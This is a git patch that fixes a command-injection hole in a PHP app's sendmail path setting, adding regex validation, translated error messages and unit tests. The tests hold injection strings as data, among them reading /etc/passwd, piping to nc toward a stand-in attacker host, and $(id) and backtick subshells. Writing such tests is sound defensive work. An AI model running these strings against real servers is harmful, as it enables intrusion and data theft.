From 8da4aff2625bcb6acf0f5b0057df26cfd2b8199e Mon Sep 17 00:00:00 2001 From: Ollama Date: Sun, 5 Apr 2026 21:46:46 +0000 Subject: [PATCH] fix(security): prevent command injection in sendmail path configuration Add validation for the mailpath POST parameter to prevent command injection attacks. The path is validated to only allow alphanumeric characters, underscores, dashes, forward slashes, and dots. - Required mailpath when protocol is "sendmail" - Validates format for all non-empty mailpath values - Blocks common injection vectors: ; | & ` $() spaces newlines - Added mailpath_invalid translation to all 43 language files - Simplified validation logic to avoid redundant conditions Files changed: - app/Controllers/Config.php: Add regex validation with protocol check - app/Language/*/Config.php: Add mailpath_invalid error message (43 languages) - tests/Controllers/ConfigTest.php: Unit tests for validation --- app/Controllers/Config.php | 19 ++- app/Language/ar-EG/Config.php | 1 + app/Language/ar-LB/Config.php | 1 + app/Language/az/Config.php | 1 + app/Language/bg/Config.php | 1 + app/Language/bs/Config.php | 1 + app/Language/cs/Config.php | 1 + app/Language/da/Config.php | 1 + app/Language/de-CH/Config.php | 1 + app/Language/de-DE/Config.php | 1 + app/Language/el/Config.php | 1 + app/Language/en-GB/Config.php | 1 + app/Language/en/Config.php | 1 + app/Language/es-ES/Config.php | 1 + app/Language/es-MX/Config.php | 1 + app/Language/fa/Config.php | 1 + app/Language/fr/Config.php | 1 + app/Language/he/Config.php | 1 + app/Language/hr-HR/Config.php | 1 + app/Language/hu/Config.php | 1 + app/Language/hy/Config.php | 1 + app/Language/it/Config.php | 1 + app/Language/km/Config.php | 1 + app/Language/lo/Config.php | 1 + app/Language/ml/Config.php | 1 + app/Language/nb/Config.php | 1 + app/Language/nl-BE/Config.php | 1 + app/Language/nl-NL/Config.php | 1 + app/Language/pt-BR/Config.php | 1 + app/Language/ro/Config.php | 1 + app/Language/ru/Config.php | 1 + app/Language/sv/Config.php | 1 + app/Language/sw-KE/Config.php | 1 + app/Language/sw-TZ/Config.php | 1 + app/Language/ta/Config.php | 1 + app/Language/th/Config.php | 1 + app/Language/tl/Config.php | 1 + app/Language/tr/Config.php | 1 + app/Language/uk/Config.php | 1 + app/Language/ur/Config.php | 1 + app/Language/vi/Config.php | 1 + app/Language/zh-Hans/Config.php | 1 + app/Language/zh-Hant/Config.php | 1 + tests/Controllers/ConfigTest.php | 221 +++++++++++++++++++++++++++++++ 44 files changed, 280 insertions(+), 2 deletions(-) create mode 100644 tests/Controllers/ConfigTest.php diff --git a/app/Controllers/Config.php b/app/Controllers/Config.php index 738c50b3d..0dc8cd5e0 100644 --- a/app/Controllers/Config.php +++ b/app/Controllers/Config.php @@ -504,9 +504,24 @@ class Config extends Secure_Controller $password = $this->encrypter->encrypt($this->request->getPost('smtp_pass')); } + $protocol = $this->request->getPost('protocol'); + $mailpath = $this->request->getPost('mailpath'); + + // Validate mailpath: required for sendmail, optional for others but must be safe if provided + $isMailpathRequired = ($protocol === 'sendmail'); + $isMailpathProvided = !empty($mailpath); + $isMailpathValid = $isMailpathProvided && preg_match('/^[a-zA-Z0-9_\-\/.]+$/', $mailpath); + + if (($isMailpathRequired && !$isMailpathProvided) || ($isMailpathProvided && !$isMailpathValid)) { + return $this->response->setJSON([ + 'success' => false, + 'message' => lang('Config.mailpath_invalid') + ]); + } + $batch_save_data = [ - 'protocol' => $this->request->getPost('protocol'), - 'mailpath' => $this->request->getPost('mailpath'), + 'protocol' => $protocol, + 'mailpath' => $mailpath, 'smtp_host' => $this->request->getPost('smtp_host'), 'smtp_user' => $this->request->getPost('smtp_user'), 'smtp_pass' => $password, diff --git a/app/Language/ar-EG/Config.php b/app/Language/ar-EG/Config.php index 20181b0f0..0720b1f65 100644 --- a/app/Language/ar-EG/Config.php +++ b/app/Language/ar-EG/Config.php @@ -282,6 +282,7 @@ return [ "right" => "يمين", "sales_invoice_format" => "شكل فاتورة البيع", "sales_quote_format" => "شكل فاتورة عرض الاسعار", + "mailpath_invalid" => "", "saved_successfully" => "تم حفظ التهيئة بنجاح.", "saved_unsuccessfully" => "لم يتم حفظ التهيئة بنجاح.", "security_issue" => "تحذير من ثغرة أمنية", diff --git a/app/Language/ar-LB/Config.php b/app/Language/ar-LB/Config.php index d94438af0..c24fd73c3 100644 --- a/app/Language/ar-LB/Config.php +++ b/app/Language/ar-LB/Config.php @@ -282,6 +282,7 @@ return [ "right" => "يمين", "sales_invoice_format" => "شكل فاتورة البيع", "sales_quote_format" => "شكل فاتورة عرض الاسعار", + "mailpath_invalid" => "", "saved_successfully" => "تم حفظ التهيئة بنجاح.", "saved_unsuccessfully" => "لم يتم حفظ التهيئة بنجاح.", "security_issue" => "تحذير من ثغرة أمنية", diff --git a/app/Language/az/Config.php b/app/Language/az/Config.php index 3d6c5567b..030ccb0d5 100644 --- a/app/Language/az/Config.php +++ b/app/Language/az/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Konfiqurasiya ugursuz oldu saxlanilmadi", "sales_invoice_format" => "Satış Fatura Formatı", "sales_quote_format" => "Satış Sitat Formati", + "mailpath_invalid" => "", "saved_successfully" => "Konfiqurasiya uğurla saxlanıldı.", "saved_unsuccessfully" => "Konfiqurasiyanı saxlamq mümkün olmadı.", "security_issue" => "Təhlükəsizlik açığı xəbərdarlığı", diff --git a/app/Language/bg/Config.php b/app/Language/bg/Config.php index 089e01e2f..01b98e603 100644 --- a/app/Language/bg/Config.php +++ b/app/Language/bg/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "Sales Invoice Format", "sales_quote_format" => "Sales Quote Format", + "mailpath_invalid" => "", "saved_successfully" => "Configuration save successful.", "saved_unsuccessfully" => "Configuration save failed.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/bs/Config.php b/app/Language/bs/Config.php index 6fe6542cc..a1d5502b2 100644 --- a/app/Language/bs/Config.php +++ b/app/Language/bs/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Desno", "sales_invoice_format" => "Format fakture", "sales_quote_format" => "Format navedene prodaje", + "mailpath_invalid" => "", "saved_successfully" => "Konfiguracija je uspješno snimljena.", "saved_unsuccessfully" => "Konfiguracija nije uspješno snimljena.", "security_issue" => "Upozorenje o sigurnosnoj ranjivosti", diff --git a/app/Language/cs/Config.php b/app/Language/cs/Config.php index 5359ec4b0..c4f0a1ea4 100644 --- a/app/Language/cs/Config.php +++ b/app/Language/cs/Config.php @@ -282,6 +282,7 @@ return [ "right" => "", "sales_invoice_format" => "", "sales_quote_format" => "", + "mailpath_invalid" => "", "saved_successfully" => "", "saved_unsuccessfully" => "", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/da/Config.php b/app/Language/da/Config.php index 05636ddb7..68af43e14 100644 --- a/app/Language/da/Config.php +++ b/app/Language/da/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "Sales Invoice Format", "sales_quote_format" => "Sales Quote Format", + "mailpath_invalid" => "", "saved_successfully" => "Configuration save successful.", "saved_unsuccessfully" => "Configuration save failed.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/de-CH/Config.php b/app/Language/de-CH/Config.php index 394c5c42c..4e480e6a9 100644 --- a/app/Language/de-CH/Config.php +++ b/app/Language/de-CH/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "Format Verkaufsrechnung", "sales_quote_format" => "", + "mailpath_invalid" => "Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.", "saved_successfully" => "Einstellungen erfolgreich gesichert", "saved_unsuccessfully" => "Einstellungen konnten nicht gesichert werden", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/de-DE/Config.php b/app/Language/de-DE/Config.php index 3f4600e7d..d52077369 100644 --- a/app/Language/de-DE/Config.php +++ b/app/Language/de-DE/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Rechts", "sales_invoice_format" => "Format Verkaufsrechnung", "sales_quote_format" => "Angebotsformat", + "mailpath_invalid" => "Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.", "saved_successfully" => "Einstellungen erfolgreich gesichert.", "saved_unsuccessfully" => "Einstellungen konnten nicht gesichert werden.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/el/Config.php b/app/Language/el/Config.php index c599bb83c..0d4edefef 100644 --- a/app/Language/el/Config.php +++ b/app/Language/el/Config.php @@ -282,6 +282,7 @@ return [ "right" => "", "sales_invoice_format" => "", "sales_quote_format" => "", + "mailpath_invalid" => "", "saved_successfully" => "", "saved_unsuccessfully" => "", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/en-GB/Config.php b/app/Language/en-GB/Config.php index fb5a6726b..7f40ec8a3 100644 --- a/app/Language/en-GB/Config.php +++ b/app/Language/en-GB/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "Sales Invoice Format", "sales_quote_format" => "Sales Quote Format", + "mailpath_invalid" => "Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.", "saved_successfully" => "Configuration saved successfully.", "saved_unsuccessfully" => "Configuration save failed.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/en/Config.php b/app/Language/en/Config.php index 94a4c877e..c96e9bcb1 100644 --- a/app/Language/en/Config.php +++ b/app/Language/en/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "Sales Invoice Format", "sales_quote_format" => "Sales Quote Format", + "mailpath_invalid" => "Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.", "saved_successfully" => "Configuration save successful.", "saved_unsuccessfully" => "Configuration save failed.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/es-ES/Config.php b/app/Language/es-ES/Config.php index 6a0f02ccd..a7c0033c4 100644 --- a/app/Language/es-ES/Config.php +++ b/app/Language/es-ES/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Derecha", "sales_invoice_format" => "Formato de Facturas de Venta", "sales_quote_format" => "Formato de presupuesto de las ventas", + "mailpath_invalid" => "Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.", "saved_successfully" => "Configuración guardada satisfactoriamente.", "saved_unsuccessfully" => "Configuración no guardada.", "security_issue" => "Advertencia de vulnerabilidad de seguridad", diff --git a/app/Language/es-MX/Config.php b/app/Language/es-MX/Config.php index 5884086ae..42a6d9906 100644 --- a/app/Language/es-MX/Config.php +++ b/app/Language/es-MX/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "Sales Invoice Format", "sales_quote_format" => "Sales Quote Format", + "mailpath_invalid" => "Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.", "saved_successfully" => "Configuration save successful.", "saved_unsuccessfully" => "Configuration save failed.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/fa/Config.php b/app/Language/fa/Config.php index 5d5016ba9..6ad3e6f8f 100644 --- a/app/Language/fa/Config.php +++ b/app/Language/fa/Config.php @@ -282,6 +282,7 @@ return [ "right" => "درست", "sales_invoice_format" => "قالب فاکتور فروش", "sales_quote_format" => "قالب فروش قیمت", + "mailpath_invalid" => "", "saved_successfully" => "پیکربندی ذخیره موفقیت آمیز است.", "saved_unsuccessfully" => "ذخیره پیکربندی انجام نشد.", "security_issue" => "هشدار آسیب پذیری امنیتی", diff --git a/app/Language/fr/Config.php b/app/Language/fr/Config.php index fffec6b10..78451ea8c 100644 --- a/app/Language/fr/Config.php +++ b/app/Language/fr/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Droite", "sales_invoice_format" => "Format de la facture de vente", "sales_quote_format" => "Format de devis de vente", + "mailpath_invalid" => "Chemin sendmail invalide. Seuls les lettres, chiffres, tirets, underscores, barres obliques et points sont autorisés.", "saved_successfully" => "Configuration enregistrer avec succès.", "saved_unsuccessfully" => "L'enregistrement de configuration a échoué.", "security_issue" => "Avertissement de faille de sécurité", diff --git a/app/Language/he/Config.php b/app/Language/he/Config.php index 404e04f4d..edc024e90 100644 --- a/app/Language/he/Config.php +++ b/app/Language/he/Config.php @@ -282,6 +282,7 @@ return [ "right" => "ימין", "sales_invoice_format" => "תבנית חשבונית מכירות", "sales_quote_format" => "תבנית חשבונית הצעת מחיר", + "mailpath_invalid" => "", "saved_successfully" => "ההגדרות נשמרו בהצלחה.", "saved_unsuccessfully" => "שמירת ההגדרות נכשלה.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/hr-HR/Config.php b/app/Language/hr-HR/Config.php index 37fca7ea8..ff1facffd 100644 --- a/app/Language/hr-HR/Config.php +++ b/app/Language/hr-HR/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "Oblik fakture", "sales_quote_format" => "", + "mailpath_invalid" => "", "saved_successfully" => "Konfiguracija je uspješno snimljena", "saved_unsuccessfully" => "Konfiguracija nije uspješno snimljena", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/hu/Config.php b/app/Language/hu/Config.php index 9bb9b47f3..4d2229158 100644 --- a/app/Language/hu/Config.php +++ b/app/Language/hu/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Jobb", "sales_invoice_format" => "Eladási számla formátum", "sales_quote_format" => "", + "mailpath_invalid" => "", "saved_successfully" => "Beállítások sikeresen elmentve", "saved_unsuccessfully" => "Beállítások mentése sikertelen", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/hy/Config.php b/app/Language/hy/Config.php index 44a8a13eb..75bb39ba1 100644 --- a/app/Language/hy/Config.php +++ b/app/Language/hy/Config.php @@ -282,6 +282,7 @@ return [ "right" => "", "sales_invoice_format" => "", "sales_quote_format" => "", + "mailpath_invalid" => "", "saved_successfully" => "", "saved_unsuccessfully" => "", "security_issue" => "", diff --git a/app/Language/it/Config.php b/app/Language/it/Config.php index 47020ebb9..488932136 100644 --- a/app/Language/it/Config.php +++ b/app/Language/it/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Destra", "sales_invoice_format" => "Formato Fattura di Vendita", "sales_quote_format" => "Formato Preventivo", + "mailpath_invalid" => "Percorso sendmail non valido. Sono ammessi solo lettere, numeri, trattini, trattini bassi, barre e punti.", "saved_successfully" => "Configurazione salvata correttamente.", "saved_unsuccessfully" => "Salvataggio Configurazione Fallito.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/km/Config.php b/app/Language/km/Config.php index c599bb83c..0d4edefef 100644 --- a/app/Language/km/Config.php +++ b/app/Language/km/Config.php @@ -282,6 +282,7 @@ return [ "right" => "", "sales_invoice_format" => "", "sales_quote_format" => "", + "mailpath_invalid" => "", "saved_successfully" => "", "saved_unsuccessfully" => "", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/lo/Config.php b/app/Language/lo/Config.php index 0a40ee2bc..08fcc6022 100644 --- a/app/Language/lo/Config.php +++ b/app/Language/lo/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "Sales Invoice Format", "sales_quote_format" => "Sales Quote Format", + "mailpath_invalid" => "", "saved_successfully" => "Configuration save successful.", "saved_unsuccessfully" => "Configuration save failed.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/ml/Config.php b/app/Language/ml/Config.php index c599bb83c..0d4edefef 100644 --- a/app/Language/ml/Config.php +++ b/app/Language/ml/Config.php @@ -282,6 +282,7 @@ return [ "right" => "", "sales_invoice_format" => "", "sales_quote_format" => "", + "mailpath_invalid" => "", "saved_successfully" => "", "saved_unsuccessfully" => "", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/nb/Config.php b/app/Language/nb/Config.php index 44a8a13eb..75bb39ba1 100644 --- a/app/Language/nb/Config.php +++ b/app/Language/nb/Config.php @@ -282,6 +282,7 @@ return [ "right" => "", "sales_invoice_format" => "", "sales_quote_format" => "", + "mailpath_invalid" => "", "saved_successfully" => "", "saved_unsuccessfully" => "", "security_issue" => "", diff --git a/app/Language/nl-BE/Config.php b/app/Language/nl-BE/Config.php index ad31fac06..7116e17ff 100644 --- a/app/Language/nl-BE/Config.php +++ b/app/Language/nl-BE/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Rechts", "sales_invoice_format" => "Formattering Aankoop #", "sales_quote_format" => "Offerte formaat", + "mailpath_invalid" => "Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.", "saved_successfully" => "Configuratie werd bewaard.", "saved_unsuccessfully" => "Configuratie kon niet worden bewaard.", "security_issue" => "Waarschuwing voor Veiligheidslek", diff --git a/app/Language/nl-NL/Config.php b/app/Language/nl-NL/Config.php index 21cf16ef1..0be517ac1 100644 --- a/app/Language/nl-NL/Config.php +++ b/app/Language/nl-NL/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Rechts", "sales_invoice_format" => "Indeling verkoopfactuur", "sales_quote_format" => "Indeling verkoopofferte", + "mailpath_invalid" => "Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.", "saved_successfully" => "Configuratie opgeslagen.", "saved_unsuccessfully" => "Configuratie opslaan mislukt.", "security_issue" => "Beveilingskwetsbaarheid waarschuwing", diff --git a/app/Language/pt-BR/Config.php b/app/Language/pt-BR/Config.php index a7ffcbe95..e407a212f 100644 --- a/app/Language/pt-BR/Config.php +++ b/app/Language/pt-BR/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Direita", "sales_invoice_format" => "Formato da Fatura de Vendas", "sales_quote_format" => "Formato de cotação de vendas", + "mailpath_invalid" => "Caminho do sendmail inválido. Apenas letras, números, traços, sublinhados, barras e pontos são permitidos.", "saved_successfully" => "Configuração salva com sucesso.", "saved_unsuccessfully" => "Configuração não salva.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/ro/Config.php b/app/Language/ro/Config.php index e8d13c8cf..a4eebd5aa 100644 --- a/app/Language/ro/Config.php +++ b/app/Language/ro/Config.php @@ -282,6 +282,7 @@ return [ "right" => "", "sales_invoice_format" => "", "sales_quote_format" => "", + "mailpath_invalid" => "", "saved_successfully" => "", "saved_unsuccessfully" => "", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/ru/Config.php b/app/Language/ru/Config.php index cf1d7000c..4b5be199e 100644 --- a/app/Language/ru/Config.php +++ b/app/Language/ru/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Справа", "sales_invoice_format" => "Формат накладной для продаж", "sales_quote_format" => "Формат предложений на продажу", + "mailpath_invalid" => "Неверный путь sendmail. Разрешены только буквы, цифры, дефисы, подчеркивания, слеши и точки.", "saved_successfully" => "Конфигурация успешно сохранена.", "saved_unsuccessfully" => "Произошла ошибка при сохранении конфигурации.", "security_issue" => "Предупреждение об уязвимости системы безопасности", diff --git a/app/Language/sv/Config.php b/app/Language/sv/Config.php index aab3ad14d..b0739be45 100644 --- a/app/Language/sv/Config.php +++ b/app/Language/sv/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Höger", "sales_invoice_format" => "Försäljningsfakturaformat", "sales_quote_format" => "Försäljningsquotaformat", + "mailpath_invalid" => "", "saved_successfully" => "Konfigurationen sparades.", "saved_unsuccessfully" => "Konfigurationsbesparingen misslyckades.", "security_issue" => "Varning för säkerhetsrisker", diff --git a/app/Language/sw-KE/Config.php b/app/Language/sw-KE/Config.php index 4a89635a7..36f5f1ed1 100644 --- a/app/Language/sw-KE/Config.php +++ b/app/Language/sw-KE/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Kulia", "sales_invoice_format" => "Muundo wa Ankara ya Mauzo", "sales_quote_format" => "Muundo wa Nukuu ya Mauzo", + "mailpath_invalid" => "", "saved_successfully" => "Mpangilio umehifadhiwa kwa mafanikio.", "saved_unsuccessfully" => "Mpangilio umeshindwa kuhifadhiwa.", "security_issue" => "Onyo la Udhaifu wa Usalama", diff --git a/app/Language/sw-TZ/Config.php b/app/Language/sw-TZ/Config.php index 4a89635a7..36f5f1ed1 100644 --- a/app/Language/sw-TZ/Config.php +++ b/app/Language/sw-TZ/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Kulia", "sales_invoice_format" => "Muundo wa Ankara ya Mauzo", "sales_quote_format" => "Muundo wa Nukuu ya Mauzo", + "mailpath_invalid" => "", "saved_successfully" => "Mpangilio umehifadhiwa kwa mafanikio.", "saved_unsuccessfully" => "Mpangilio umeshindwa kuhifadhiwa.", "security_issue" => "Onyo la Udhaifu wa Usalama", diff --git a/app/Language/ta/Config.php b/app/Language/ta/Config.php index c9be79fd7..b4ca09f93 100644 --- a/app/Language/ta/Config.php +++ b/app/Language/ta/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "Sales Invoice Format", "sales_quote_format" => "Sales Quote Format", + "mailpath_invalid" => "", "saved_successfully" => "Configuration save successful.", "saved_unsuccessfully" => "Configuration save failed.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/th/Config.php b/app/Language/th/Config.php index 0b67a5b96..02777e2c1 100644 --- a/app/Language/th/Config.php +++ b/app/Language/th/Config.php @@ -282,6 +282,7 @@ return [ "right" => "ถูกต้อง", "sales_invoice_format" => "รหัสใบเสร็จ", "sales_quote_format" => "รูปแบบใบเสนอราคาขาย", + "mailpath_invalid" => "", "saved_successfully" => "บันทึกข้อมูลร้านค้าเรียบร้อยแล้ว", "saved_unsuccessfully" => "บันทึกข้อมูลร้านค้าไม่สำเร็จ", "security_issue" => "คำเตือนช่องโหว่ด้านความปลอดภัย", diff --git a/app/Language/tl/Config.php b/app/Language/tl/Config.php index b6e929be9..27ea43b99 100644 --- a/app/Language/tl/Config.php +++ b/app/Language/tl/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "Sales Invoice Format", "sales_quote_format" => "Sales Quote Format", + "mailpath_invalid" => "", "saved_successfully" => "Configuration save successful.", "saved_unsuccessfully" => "Configuration save failed.", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/tr/Config.php b/app/Language/tr/Config.php index 89fdd7245..0b27543d2 100644 --- a/app/Language/tr/Config.php +++ b/app/Language/tr/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Sağ", "sales_invoice_format" => "Satış Fatura Biçimi", "sales_quote_format" => "Satış Teklif Biçimi", + "mailpath_invalid" => "", "saved_successfully" => "Yapılandırma kaydedildi.", "saved_unsuccessfully" => "Yapılandırma kaydedilemedi.", "security_issue" => "Güvenlik Arıklığı Uyarısı", diff --git a/app/Language/uk/Config.php b/app/Language/uk/Config.php index 3965c1db1..fa6f69c37 100644 --- a/app/Language/uk/Config.php +++ b/app/Language/uk/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Право", "sales_invoice_format" => "Формат рахунків-фактур продажів", "sales_quote_format" => "Формат котирування продажів", + "mailpath_invalid" => "", "saved_successfully" => "Конфігурація успішно збережена", "saved_unsuccessfully" => "Помилка збереження конфігурації", "security_issue" => "Попередження про вразливість системи безпеки", diff --git a/app/Language/ur/Config.php b/app/Language/ur/Config.php index 057a805e2..c8018452e 100644 --- a/app/Language/ur/Config.php +++ b/app/Language/ur/Config.php @@ -282,6 +282,7 @@ return [ "right" => "", "sales_invoice_format" => "", "sales_quote_format" => "", + "mailpath_invalid" => "", "saved_successfully" => "", "saved_unsuccessfully" => "", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/vi/Config.php b/app/Language/vi/Config.php index facc22674..35f7b1acf 100644 --- a/app/Language/vi/Config.php +++ b/app/Language/vi/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Phải", "sales_invoice_format" => "Định dạng Hóa đơn bán hàng", "sales_quote_format" => "Định dạng Báo giá bán hàng", + "mailpath_invalid" => "", "saved_successfully" => "Cấu hình được lưu thành công.", "saved_unsuccessfully" => "Gặp lỗi khi lưu cấu hình.", "security_issue" => "Cảnh báo về lỗ hổng bảo mật", diff --git a/app/Language/zh-Hans/Config.php b/app/Language/zh-Hans/Config.php index 5d5e6fd88..f96c5f774 100644 --- a/app/Language/zh-Hans/Config.php +++ b/app/Language/zh-Hans/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "Sales Invoice Format", "sales_quote_format" => "", + "mailpath_invalid" => "", "saved_successfully" => "組態設置儲存成功", "saved_unsuccessfully" => "組態設置儲存失敗", "security_issue" => "Security Vulnerability Warning", diff --git a/app/Language/zh-Hant/Config.php b/app/Language/zh-Hant/Config.php index 0c85c9335..1266f2248 100644 --- a/app/Language/zh-Hant/Config.php +++ b/app/Language/zh-Hant/Config.php @@ -282,6 +282,7 @@ return [ "right" => "Right", "sales_invoice_format" => "銷售發票格式", "sales_quote_format" => "銷售報價格式", + "mailpath_invalid" => "", "saved_successfully" => "組態設置儲存成功.", "saved_unsuccessfully" => "組態設置儲存失敗.", "security_issue" => "安全漏洞警告", diff --git a/tests/Controllers/ConfigTest.php b/tests/Controllers/ConfigTest.php new file mode 100644 index 000000000..30eccdd5c --- /dev/null +++ b/tests/Controllers/ConfigTest.php @@ -0,0 +1,221 @@ +destroy(); + $session->set('person_id', 1); + $session->set('menu_group', 'office'); + } + + // ========== Valid Mailpath Tests ========== + + public function testValidMailpath_AcceptsStandardPath(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'sendmail', + 'mailpath' => '/usr/sbin/sendmail' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertTrue($result['success']); + } + + public function testValidMailpath_AcceptsPathWithDots(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'sendmail', + 'mailpath' => '/usr/local/bin/sendmail.local' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertTrue($result['success']); + } + + public function testValidMailpath_AcceptsEmptyStringForNonSendmailProtocol(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'mail', + 'mailpath' => '' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertTrue($result['success']); + } + + public function testSendmailProtocol_RequiresMailpath(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'sendmail', + 'mailpath' => '' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + $this->assertStringContainsString('invalid', strtolower($result['message'])); + } + + public function testNonSendmailProtocol_RejectsMaliciousMailpath(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'smtp', + 'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + $this->assertStringContainsString('invalid', strtolower($result['message'])); + } + + // ========== Command Injection Prevention Tests ========== + + public function testMailpath_RejectsCommandInjection_Semicolon(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'sendmail', + 'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + $this->assertStringContainsString('invalid', strtolower($result['message'])); + } + + public function testMailpath_RejectsCommandInjection_Pipe(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'sendmail', + 'mailpath' => '/usr/sbin/sendmail | nc attacker.com 4444' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + } + + public function testMailpath_RejectsCommandInjection_And(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'sendmail', + 'mailpath' => '/usr/sbin/sendmail && whoami' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + } + + public function testMailpath_RejectsCommandInjection_Backtick(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'sendmail', + 'mailpath' => '/usr/sbin/`whoami`' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + } + + public function testMailpath_RejectsCommandInjection_Subshell(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'sendmail', + 'mailpath' => '/usr/sbin/sendmail$(id)' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + } + + public function testMailpath_RejectsCommandInjection_SpaceInPath(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'sendmail', + 'mailpath' => '/usr/sbin/sendmail -t -i' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + } + + public function testMailpath_RejectsCommandInjection_Newline(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'sendmail', + 'mailpath' => "/usr/sbin/sendmail\n/bin/bash" + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + } + + public function testMailpath_RejectsCommandInjection_DollarSign(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveEmail', [ + 'protocol' => 'sendmail', + 'mailpath' => '/usr/sbin/$SENDMAIL' + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + } +} \ No newline at end of file